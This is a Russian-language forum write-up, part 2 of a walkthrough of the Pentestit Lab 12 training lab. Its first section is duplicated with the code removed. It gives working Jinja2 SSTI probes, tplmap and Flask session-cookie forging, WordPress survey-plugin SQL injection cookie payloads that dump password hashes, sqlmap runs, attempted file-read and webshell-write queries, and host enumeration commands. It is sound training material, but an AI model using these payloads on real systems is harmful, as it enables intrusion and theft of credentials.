Продолжение первой статьи Врайтап Pentestit Lab 12 - для начинающих (часть 1)
REPOSITORY Token
Мы понимаем, что репозиторий это или Веб-сервис или файловая шара. Ищем...
Bypass .htpasswd не помог.
Идем дальше...
________________________________________
SIEM Token
Мы понимаем, что искать нужно веб-морду сервиса. Ищем...
нашли сервис Prewikka, это OSSEC-SIEM Prelude-SIEM/prewikka
Пробуем зайти под имеющимися info@test.lab и sviridov@test.lab
Не отканывает...
Пробуем бурпануть логины и пароль
Адски долго....
Знаете первый раз, я подумал верно, но потратил очень много времени чтобы себя самого запутать и пошел не туда... А ларчик просто открывался по аналогии с предыдущими заданиями, только небольшая ремарка - без доменного имени.
Находим нерабочие агенты, ошибки выполнения скриптов и т.п.
Внимательно анализируем все логи, может и подсказки есть.
Находим подсказки Repository сервис admin:тут пароль и там будет токен от репы...
Как Вы видите, мой напарник Антон вернулся в строй, начал догонять и мы снова работаем командой...
Почему я не открываю токены даже в виде изображений, ребята в SIEM системах, как в корреляторах всех событий можно всегда найти кучу всего интересного, осмотритесь сами, примечайте любую информацию, все что тут будет найдено, поможет очень сильно в дальнейшем.
________________________________________
Осталось 9 заданий: Users, Site, My, API, User API, Image, DB, admin, Reverse
Найдя новые хосты, снова редактируем хостс:
MY Token
Логинимся под infо по аналогии с предыдущим заданием.
Видим пустую страницу и форму поиска. Вбиваем token и видим 5 карликовых лошадок.
Думаем, что тут стеганография. Учитывая тот факт, что первая и последняя одинаковые с разным расширением и тратим драгоценное время на попытки поиска стеганографии.
Но стеганографии тут не найдено...
Анализируем код, пытаемся осуществить инъекцию в поле поиска. Форма отрабатывает пропуская некоторые уязвимости. WAF Nemesida очень мешает.
Очень долго считаю активной уязвимостью XSS и трачу на попытки эксплуатации и проверки слишком много времени...
Натыкаемся на SSTI инъекцию, проверив расчет через {{2*5}} и в поле вывода получаем расчет.
Что мы здесь видим? Явное исполнение кода(на стороне сервера) внутри песочницы.
В зависимости от используемого шаблонизатора, может стать возможным побег из песочницы и выполнение произвольного кода.
Уязвимость часто возникает из-за того, что разработчики дают возможность пользователю изменять шаблон (некоторые шаблонизаторы предлагают безопасный режим для этих целей).
Все функции, которые используют данные введенные пользователем, могут быть уязвимы, в том числе вики-страницы, ревью и комментарии.
Также, причиной уязвимости может быть то, что пользовательские данные вставляются непосредственно в шаблон.
Нам всего-то нужно подставлять конкретные выражения и следить за ответом сервера. В некоторых случаях одно выражение может приводить к разным ответам сервера (в зависимость от того, какой шаблонизатор используется). Например, {{7*'7'}} вернёт 49 значит если используется Twig, 7777777 - если используется Jinja2 и не вернёт ничего, если шаблонизатор не используется.
Для определения существует блок-схема:
Еще можно без прямого обращения к вэб-странице:
но нужна авторизация сессии.
Эксплуатация
После того, как мы выяснили какой шаблонизатор используется, следующий наш шаг — чтение документации. Вот ключевые области на которые стоит обратить внимание:
Я с этим типом уязвимости лично сталкиваюсь впервые, поэтому ушло очень приличное количество времени для поиска информации и чтения документации.
Определим какой тип шаблонизатора у нас:
Видит ответ 7777777 - значит это Jinja2.
Перепроверяем на шаблонизатор Twig - {{self}} и получаем ответ <TemplateReference None>. Значит точно Jinja.
Нашел автоматизацию на гитхабе epinna/tplmap
А вот и первый облом автоматизации:
Пробуем руками
Отлично, request
возвращает GET запрос, смотрим окружение:
RCE Инъекция:
не приводит к нужному результату, сервак падает.
Листинг директорий
Получили
в base64 это Phevbhf? aivfvhz.pbz/pnerref и это Шифр Цезаря Curious?
Дает интересную картину:
А вот этот запрос выдает обычный config.
Запросы формируем и пытаемся найти RCE. Но все что мы пробуем WAF Nemesida рубит на корню.
Воспользуемся скриптом noraj/flask-session-cookie-manager
Интересно,
В итоге немного поигравшись, находим токен.
Нашел даже отчет из HackerOne, где исследователю удалось найти SSTI в Uber.
Выводы
Уязвимость SSTI действительно очень опасная, так как с её помощью мы можем добиться RCE.
Обнаружить уязвимость очень просто при опыте, но достаточно сложно впервые (хотя часто её можно перепутать с XSS), а вот поиск/разработка полезной нагрузки - очень трудоёмкий процесс (правда, не во всех случаях).
Для меня лично второй по сложности пока что токен, остальные брались немного легче.
________________________________________
USERS Token
У нас есть самая богатая подсеть 192.168.0.0/24 см. карту...
Сканим хосты найденные недавно, пробуем зайти под 445 портами, и под 22 под всеми уже имеющимеся юзерами.
Входим в каждый хост по ssh по аналогии с другими заданиями под имеющимися юзерами.
Ознакамливаемся с мусором, скрипты, логи. Много кто "намусорил", пробуем понять что это и для чего.
Тратим время и в итоге находим вектор:
Вся засада в том, что на отдельном хосте при настройке прав доступа админ совершил ошибку...
Ну и этот токен был не сложен...
________________________________________
Мы прошли уже 54% лабы и осталось 7 заданий: Site, API, User API, Image, DB, admin, Reverse
________________________________________
SITE Token
Только сейчас мы возвращается к одному из самых первых сервисов, который мы обнаружили в самом начале.
Найдя информацию в SIEM мы понимаем, что site отдает свою рожу на 3 ip-адреса, добавляем данные в хостс:
[/B]
Ранее у нас были варианты:
Но как мы помним из предыдущих рассказов - легких путей больше нет...
Пробуем воспользоваться ранее обнаруженной SQL инъекцией.
Инъекция не классифицирована в CVE, но перечислена в
Мы сэнумерейтили инфу о плагине:
Судя по мануалу к эксплуатации необходимо:
1. Зайти на сайт и ответить на опрос.
2. Подменить значение wp_sap на ["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"]
3. Обновить страницу и в исходном коде наблюдать версию БД. Дальше на что фантазии хватит.
Покажу для наглядности различный вариант решения имеющейся задачи:
1. Mozilla Firefox
2. Burp Suite
Сам запрос строим так:
Мы получаем версию БД:
10.1.37-MariaDB-0+deb9u1
Следующие и подобные инъекции не прошли:
Давайте вспомним какие типы инъекций мы еще можем сделать:
Таким образом парсим данные. В итоге, Мы определили:
Путь до БД: /var/lib/mysql
Вресию :10.1.37-MariaDB-0
ОС: Debian 7.6
Директория: /usr/
user: wordpress
system_user: admin@localhost
UUID: d123efe8-0c25-11e9-9d61-080027a476d0
Путь до лога ошибок: /var/log/mysql/error.log
Пароль админа/хеш: admin:$P$B9X4nnQRqJZ6IJISA63PvigcudS2wz1
Еще выявлена непонятная реакция на один запрос:
Скульмапом не удалось найти брешь. Вообще от себя могу сказать, что практически все попытки автоматизации приводят к отказу. Организаторы постарались сделать так, чтобы мы с Вами поднимали свой практический навык путем понимания предмета, а не умением пользоваться сканерами уязвимостей и за это им Огромное СПАСИБО!
Запрос пароля:
Пробуем найти в таблицах по словосочетанию токен:
Токен найден.
Хоть токен и найден, так же есть юзер и хэш пароля, нужно найти еще токен БД. Но явно не в этой БД, а на хосте db.test.lab (172.16.0.30) на который пока нет доступа, и мы не видим даже портов открытых...
Ну, что вот мы и закончили 2 часть врайтапа и приступим к 3 части...
REPOSITORY Token
Мы понимаем, что репозиторий это или Веб-сервис или файловая шара. Ищем...
http://172.16.1.15/
но нам нужен логин и пароль - закрыто htpasswd.Bypass .htpasswd не помог.
Идем дальше...
________________________________________
SIEM Token
Мы понимаем, что искать нужно веб-морду сервиса. Ищем...
http://172.16.1.12/
Пробуем зайти под имеющимися info@test.lab и sviridov@test.lab
Не отканывает...
Пробуем бурпануть логины и пароль
Адски долго....
Знаете первый раз, я подумал верно, но потратил очень много времени чтобы себя самого запутать и пошел не туда... А ларчик просто открывался по аналогии с предыдущими заданиями, только небольшая ремарка - без доменного имени.
Находим нерабочие агенты, ошибки выполнения скриптов и т.п.
Внимательно анализируем все логи, может и подсказки есть.
Находим подсказки Repository сервис admin:тут пароль и там будет токен от репы...
Как Вы видите, мой напарник Антон вернулся в строй, начал догонять и мы снова работаем командой...
Почему я не открываю токены даже в виде изображений, ребята в SIEM системах, как в корреляторах всех событий можно всегда найти кучу всего интересного, осмотритесь сами, примечайте любую информацию, все что тут будет найдено, поможет очень сильно в дальнейшем.
________________________________________
Осталось 9 заданий: Users, Site, My, API, User API, Image, DB, admin, Reverse
Найдя новые хосты, снова редактируем хостс:
Код:
notepad C:\Windows\system32\drivers\etc\hosts
________________________________________172.16.0.10 site.test.lab
172.16.0.10 my.test.lab
172.16.0.10 helpdesk.test.lab
172.16.0.17 ad.test.lab
172.16.0.17 ns1.test.lab
172.16.2.10 ns2.test.lab
172.16.2.10 dns.test.lab
172.16.0.30 db.test.lab
172.16.0.14 NEW14.test.lab
172.16.1.15 repository.test.lab
172.16.1.10 vpn-admin.test.lab
172.16.1.25 admin.test.lab
172.16.0.55 api2.test.lab
MY Token
http://my.test.lab/login
Логинимся под infо по аналогии с предыдущим заданием.
Видим пустую страницу и форму поиска. Вбиваем token и видим 5 карликовых лошадок.
Но стеганографии тут не найдено...
Анализируем код, пытаемся осуществить инъекцию в поле поиска. Форма отрабатывает пропуская некоторые уязвимости. WAF Nemesida очень мешает.
Очень долго считаю активной уязвимостью XSS и трачу на попытки эксплуатации и проверки слишком много времени...
Натыкаемся на SSTI инъекцию, проверив расчет через {{2*5}} и в поле вывода получаем расчет.
Что мы здесь видим? Явное исполнение кода(на стороне сервера) внутри песочницы.
В зависимости от используемого шаблонизатора, может стать возможным побег из песочницы и выполнение произвольного кода.
Уязвимость часто возникает из-за того, что разработчики дают возможность пользователю изменять шаблон (некоторые шаблонизаторы предлагают безопасный режим для этих целей).
Все функции, которые используют данные введенные пользователем, могут быть уязвимы, в том числе вики-страницы, ревью и комментарии.
Также, причиной уязвимости может быть то, что пользовательские данные вставляются непосредственно в шаблон.
Нам всего-то нужно подставлять конкретные выражения и следить за ответом сервера. В некоторых случаях одно выражение может приводить к разным ответам сервера (в зависимость от того, какой шаблонизатор используется). Например, {{7*'7'}} вернёт 49 значит если используется Twig, 7777777 - если используется Jinja2 и не вернёт ничего, если шаблонизатор не используется.
Для определения существует блок-схема:
Еще можно без прямого обращения к вэб-странице:
Bash:
curl -g 'http://my.test.lab/?q={{2*%275%27}}'
Эксплуатация
После того, как мы выяснили какой шаблонизатор используется, следующий наш шаг — чтение документации. Вот ключевые области на которые стоит обратить внимание:
- раздел «For Template Authors» описывает базовый синтаксис;
- «Security Considerations» — есть огромный шанс, что разработчики не читали данный раздел;
- список встроенных функций, методов, переменных;
- список дополнений/расширений — некоторый из них могут быть включены по умолчанию.
Я с этим типом уязвимости лично сталкиваюсь впервые, поэтому ушло очень приличное количество времени для поиска информации и чтения документации.
Определим какой тип шаблонизатора у нас:
Видит ответ 7777777 - значит это Jinja2.
Перепроверяем на шаблонизатор Twig - {{self}} и получаем ответ <TemplateReference None>. Значит точно Jinja.
Нашел автоматизацию на гитхабе epinna/tplmap
Bash:
git clone https://github.com/epinna/tplmap.git
А вот и первый облом автоматизации:
Bash:
./tplmap.py -u 'http://my.test.lab/?q={{2*%275%27}}' --os-shell
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if GET parameter 'q' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin is testing blind injection
[+] Twig plugin is testing rendering with tag '{{*}}'
[+] Twig plugin is testing blind injection
[+] Freemarker plugin is testing rendering with tag '*'
[+] Freemarker plugin is testing blind injection
[+] Velocity plugin is testing rendering with tag '*'
[+] Velocity plugin is testing blind injection
[+] Slim plugin is testing rendering with tag '"#{*}"'
[+] Slim plugin is testing blind injection
[+] Erb plugin is testing rendering with tag '"#{*}"'
[+] Erb plugin is testing blind injection
[+] Pug plugin is testing rendering with tag '\n= *\n'
[+] Pug plugin is testing blind injection
[+] Nunjucks plugin is testing rendering with tag '{{*}}'
[+] Nunjucks plugin is testing blind injection
[+] Dot plugin is testing rendering with tag '{{=*}}'
[+] Dot plugin is testing blind injection
[+] Dust plugin is testing rendering
[+] Dust plugin is testing blind injection
[+] Marko plugin is testing rendering with tag '${*}'
[+] Marko plugin is testing blind injection
[+] Javascript plugin is testing rendering with tag '*'
[+] Javascript plugin is testing blind injection
[+] Php plugin is testing rendering with tag '*'
[+] Php plugin is testing blind injection
[+] Ruby plugin is testing rendering with tag '"#{*}"'
[+] Ruby plugin is testing blind injection
[+] Ejs plugin is testing rendering with tag '*'
[+] Ejs plugin is testing blind injection
[!][checks] Tested parameters [B]appear to be not injectable[/B].
Пробуем руками
http://my.test.lab/?q={{request}}
возвращает GET запрос, смотрим окружение:
http://my.test.lab/?q={{request.environ}}
RCE Инъекция:
http://my.test.lab/?q={{{php}echo 'id';{/php}}}
не приводит к нужному результату, сервак падает.
Листинг директорий
%7B%7B9*9%7D%7D[/B]
тоже не получаетсяhttp://my.test.lab/?q={{config}}
Получили
'[B]SECRET_KEY': 'UGhldmJoZj8gY▒▒▒▒wYnovcG5lcnJlZg=='
в base64 это Phevbhf? aivfvhz.pbz/pnerref и это Шифр Цезаря Curious?
Ссылка скрыта от гостей
и походит на рекламуhttp://my.test.lab/?q={{url_for.__globals__}}
Дает интересную картину:
http://my.test.lab/?q={{url_for.__globals__.current_app.config}}
А вот этот запрос выдает обычный config.
http://my.test.lab/?q={{request[request.args.param]}}¶m=__class__
http://my.test.lab/?q={{self.__dict__}}
Запросы формируем и пытаемся найти RCE. Но все что мы пробуем WAF Nemesida рубит на корню.
Воспользуемся скриптом noraj/flask-session-cookie-manager
Bash:
python2 session_cookie_manager.py encode -s 'UGhldmJoZj8gY▒▒▒▒wYnovcG5lcnJlZg==' -t '{"role": u"admin"}'
Интересно,
eyJyb2xlIjoiYWRtaW4ifQ.DxKl4w.HXIxk2h1dHJQfINRWFxRV8Jh_G4
что это и зачем потратил время незнаю.В итоге немного поигравшись, находим токен.
Нашел даже отчет из HackerOne, где исследователю удалось найти SSTI в Uber.
Выводы
Уязвимость SSTI действительно очень опасная, так как с её помощью мы можем добиться RCE.
Обнаружить уязвимость очень просто при опыте, но достаточно сложно впервые (хотя часто её можно перепутать с XSS), а вот поиск/разработка полезной нагрузки - очень трудоёмкий процесс (правда, не во всех случаях).
Для меня лично второй по сложности пока что токен, остальные брались немного легче.
________________________________________
USERS Token
У нас есть самая богатая подсеть 192.168.0.0/24 см. карту...
Сканим хосты найденные недавно, пробуем зайти под 445 портами, и под 22 под всеми уже имеющимеся юзерами.
Bash:
login as: sviridov
sviridov@192.168.0.100's password:
Warning: Your password will expire in 971 days on Sat Sep 4 18:48:18 2021
Linux lomonosov 4.9.0-8-amd64 /1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
Last login: Sun Jan 6 19:33:33 2019 from 10.12.0.30
////
PasswordAuthentication yes
////
sviridov@lomonosov:~$ uname -a
Linux lomonosov 4.9.0-8-amd64 /1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Li nux
sviridov@lomonosov:~$ id
uid=10002(sviridov) gid=10004(domain users) groups=10004(domain users),10001(BUILTIN\users)
sviridov@lomonosov:~$ ifconfig
-bash: ifconfig: command not found
sviridov@lomonosov:~$ cat /etc/issue
Debian GNU/Linux 9 \n \l
sviridov@lomonosov:~$ cat /proc/version
Linux version 4.9.0-8-amd64 (debian-kernel@lists.debian.org) (gcc version 6.3.0 20170516 (Debian 6.3.0-18+deb9u1) ) /1 SMP Debian 4.9.130-2 (2018-10-27)
sviridov@lomonosov:~$ ls /boot | grep vmlinuz-
vmlinuz-4.9.0-3-amd64
vmlinuz-4.9.0-4-amd64
vmlinuz-4.9.0-8-amd64
Ознакамливаемся с мусором, скрипты, логи. Много кто "намусорил", пробуем понять что это и для чего.
Bash:
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
Debian-exim:x:104:109::/var/spool/exim4:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
statd:x:106:65534::/var/lib/nfs:/bin/false
sshd:x:107:65534::/var/run/sshd:/usr/sbin/nologin
_apt:x:108:65534::/nonexistent:/bin/false
Тратим время и в итоге находим вектор:
Bash:
ls -ahlR /home/
Bash:
cd /home/TEST/
find | grep token
cat /sidorov/.token
Вся засада в том, что на отдельном хосте при настройке прав доступа админ совершил ошибку...
Ну и этот токен был не сложен...
Bash:
sviridov@lomonosov:~$ cat /etc/ssh/ssh_host_dsa_key.pub
ssh-dss AAAAB3NzaC1kc3MAAACBANWhH41B9vYEwYwzmSRFuV38J3brfbI+8P9y47WOFDw6w2Zc5iWeieO0Rg2R1SswyxltSkqt5GAirko3yZxpFRyfa6VBNQRM3e3aeicz9wIZDnirnIoe/fmJTc+Jln6kaaW/FnsAulTb7nO6Ak16CToRMkv2yRtwms0Aoth8Ckb3AAAAFQDiU4lvoIS5rH1tfQk5HxRJkTYWQQAAAIAGb2LETs9syV1bV6reCVFP4GdxuA9pBzjsVjQ2oLlOAWC6s9XnJuwbQ4JeBKlfv1Cr5R2ucHzDDJLeq7IQsf0DgUa03JCCt+Fb79D2GHxq6RLFh/zXXpZtU4DM1vNJ/a/TLZdXK/uz7qIE6QbXGxOXMsLfDYR5Chb7j1lCvstMnAAAAIBgNZdrc57ufwRJqx2+UBllI1yM4dZ4B2tJStU9jDcr+kQwSfJr2skwUmheo02FoKMZx6ddnnP/UymyMqt0438HMcqcwRGeOSrzEwRpu7RrLyrQxjAPbbKvxSezSkm6p/C1wb4UH/aEutFNRn/kXRLVAuf0/9bZEm8JrulWFvK5+w== root@agorokhov
sviridov@lomonosov:~$ cat /etc/ssh/ssh_host_rsa_key.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAAE6rU3Y9evVByyJiu6UW7vWJ6KP29UZkvRAFn8Q4qcdyBzPEHpZeuJydqmhzW8/8MJ0SD9Fy/5nUOaFoLLvJgeO31v52j/E+nD4F7pdjA83bYWWkuvdoHN0kzAt9STwzNEva3zhqgsK+z/1AxqBCo7jwAvJpcomlEH6/lSxcSVlWTDC5/t7+YXAhiSEQf6lJiBAL5lmqExtM6Nf7T+uRFzc+xCtbI89a163iNWuos6Jb2qCpf/2JGc/f8RicPWmXFpWXlFDuajQL6fsrJ6DG+/Vgp9vMoBqovbmMThb4AHeOonbadpZif/nKJpxEMohHbvLQhb/RJUh4CXOFaX7v root@agorokhov
sviridov@lomonosov:~$ find / -perm -1000 -type d 2>/dev/null
/tmp
/tmp/.font-unix
/tmp/.Test-unix
/tmp/.X11-unix
/tmp/.XIM-unix
/tmp/.ICE-unix
/run/lock
/dev/mqueue
/dev/shm
/var/tmp
/var/spool/cron/crontabs
/var/spool/cron/atjobs
/var/spool/cron/atspool
/var/spool/samba
/var/lib/samba/usershares
sviridov@lomonosov:~$ find / -perm -g=s -type f 2>/dev/null
/sbin/unix_chkpwd
/usr/bin/procmail
/usr/bin/expiry
/usr/bin/mutt_dotlock
/usr/bin/mlocate
/usr/bin/at
/usr/bin/bsd-write
/usr/bin/dotlockfile
/usr/bin/crontab
/usr/bin/lockfile
/usr/bin/chage
/usr/bin/ssh-agent
/usr/bin/wall
sviridov@lomonosov:~$ find / -writable -type d 2>/dev/null
/tmp
/tmp/.font-unix
/tmp/USER
/tmp/.Test-unix
/tmp/.X11-unix
/tmp/.XIM-unix
/tmp/.ICE-unix
/proc/1549/task/1549/fd
/proc/1549/fd
/proc/1549/map_files
/run/user/10002
/run/user/10002/gnupg
/run/user/10002/systemd
/run/user/10002/systemd/transient
/run/lock
/sys/fs/cgroup/systemd/user.slice/user-10002.slice/user@10002.service
/sys/fs/cgroup/systemd/user.slice/user-10002.slice/user@10002.service/init.scope
/dev/mqueue
/dev/shm
/var/tmp
/var/spool/samba
Мы прошли уже 54% лабы и осталось 7 заданий: Site, API, User API, Image, DB, admin, Reverse
________________________________________
SITE Token
Только сейчас мы возвращается к одному из самых первых сервисов, который мы обнаружили в самом начале.
Найдя информацию в SIEM мы понимаем, что site отдает свою рожу на 3 ip-адреса, добавляем данные в хостс:
Bash:
notepad C:\Windows\system32\drivers\etc\[B]hosts
Когда мы добавим нужный IP адрес, мы начнем наблюдать такую картину:172.16.0.14 site.test.lab
172.16.0.10 site.test.lab
172.16.0.10 my.test.lab
172.16.0.10 helpdesk.test.lab
172.16.0.17 ad.test.lab
172.16.0.17 ns1.test.lab
172.16.2.10 ns2.test.lab
172.16.2.10 dns.test.lab
172.16.0.30 db.test.lab
172.16.1.15 repository.test.lab
172.16.1.10 vpn-admin.test.lab
172.16.1.25 admin.test.lab
172.16.0.55 api2.test.lab
Ранее у нас были варианты:
http://site.test.lab/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498
http://site.test.lab/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498"%20-p%20survey_id%20--dbms=MariaDB
http://site.test.lab/index.php?option=com_ponygallery&Itemid=x&func=viewcategory&catid=+UNION+SELECT+1,2,3,4,0,concat(0x1e,username,0x3a,password,0x1e,0x3a,usertype,0x1e),5,0,0+FROM+jos_users+where+usertype=0x53757065722041646d696e6973747261746f72--
Но как мы помним из предыдущих рассказов - легких путей больше нет...
Пробуем воспользоваться ранее обнаруженной SQL инъекцией.
Ссылка скрыта от гостей
Инъекция не классифицирована в CVE, но перечислена в
Ссылка скрыта от гостей
и была обнаружена 09.09.2018 и представляет из себя возможность выполнения произвольного кода путем подброса плагину опроса в параметре Cookie wp_sapМы сэнумерейтили инфу о плагине:
Ссылка скрыта от гостей
Судя по мануалу к эксплуатации необходимо:
1. Зайти на сайт и ответить на опрос.
2. Подменить значение wp_sap на ["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"]
3. Обновить страницу и в исходном коде наблюдать версию БД. Дальше на что фантазии хватит.
Покажу для наглядности различный вариант решения имеющейся задачи:
1. Mozilla Firefox
2. Burp Suite
Сам запрос строим так:
Bash:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: site.test.lab
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://site.test.lab/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 123
Connection: close
Cookie: wp_sap=["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,current_user,11#"]
action=ajax_survey_answer&sspcmd=save&options=%5B%7B%22sid%22%3A%22242178939%22%2C%22qid%22%3A1%2C%22aid%22%3A%221%22%7D%5D
Мы получаем версию БД:
Следующие и подобные инъекции не прошли:
- 1 and 1=if(load_file('/etc/passwd') is not NULL,1,2)--+
- select username from users where username=1 and if((select concat(version(),0x3a,'<? php code ?>') into outfile '/usr/home/www/test.php'),1,2)=1
Давайте вспомним какие типы инъекций мы еще можем сделать:
Переменная / Функция Вывод
@@hostname Текущее имя хоста
@@tmpdir Директория для временных файлов
@@datadir Директория с базами данных
@@version Версия БД
@@basedir Базовая директория
user() Текущий пользователь
database() Текущая база данных
version() Версия
schema() Текущая база данных
UUID() Ключ системного UUID
current_user() Текущий пользователь
current_user Текущий пользователь
system_user() Текущий системный пользователь
session_user() Сессионный пользователь
@@version_comment
@@log_error
@@GLOBAL.have_symlink Проверка, включены или отключены симлинки
@@GLOBAL.have_ssl Проверка, имеется SSL или нет
Таким образом парсим данные. В итоге, Мы определили:
Путь до БД: /var/lib/mysql
Вресию :10.1.37-MariaDB-0
ОС: Debian 7.6
Директория: /usr/
user: wordpress
system_user: admin@localhost
UUID: d123efe8-0c25-11e9-9d61-080027a476d0
Путь до лога ошибок: /var/log/mysql/error.log
Пароль админа/хеш: admin:$P$B9X4nnQRqJZ6IJISA63PvigcudS2wz1
Еще выявлена непонятная реакция на один запрос:
wp_sap=["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,version()11#"]
Скульмапом не удалось найти брешь. Вообще от себя могу сказать, что практически все попытки автоматизации приводят к отказу. Организаторы постарались сделать так, чтобы мы с Вами поднимали свой практический навык путем понимания предмета, а не умением пользоваться сканерами уязвимостей и за это им Огромное СПАСИБО!
Bash:
sqlmap -u "http://site.test.lab/" --cookie="wp_sap=%5B%221650149780*%29%29" --level=5 --risk=3 -b --technique=U --dbms MySQL --random-agent
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:04:28 /2018-12-30/
[21:04:36] [INFO] testing connection to the target URL
do you want to URL encode cookie values (implementation specific)? [Y/n] y
[21:04:42] [WARNING] heuristic (basic) test shows that (custom) HEADER parameter 'Cookie /1*' might not be injectable
[21:04:43] [INFO] testing for SQL injection on (custom) HEADER parameter 'Cookie /1*'
[21:04:43] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
Запрос пароля:
["1650149780')) OR 1=1 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,concat(user_login,0x3a,user_pass),11 from wp_users#"]
Пробуем найти в таблицах по словосочетанию токен:
["1650149780')) OR 1=2 union all select 1,2,3,4,5,6,7,8,9,convert(name, char),11 from token#"]
Токен найден.
Хоть токен и найден, так же есть юзер и хэш пароля, нужно найти еще токен БД. Но явно не в этой БД, а на хосте db.test.lab (172.16.0.30) на который пока нет доступа, и мы не видим даже портов открытых...
Ну, что вот мы и закончили 2 часть врайтапа и приступим к 3 части...
Последнее редактирование: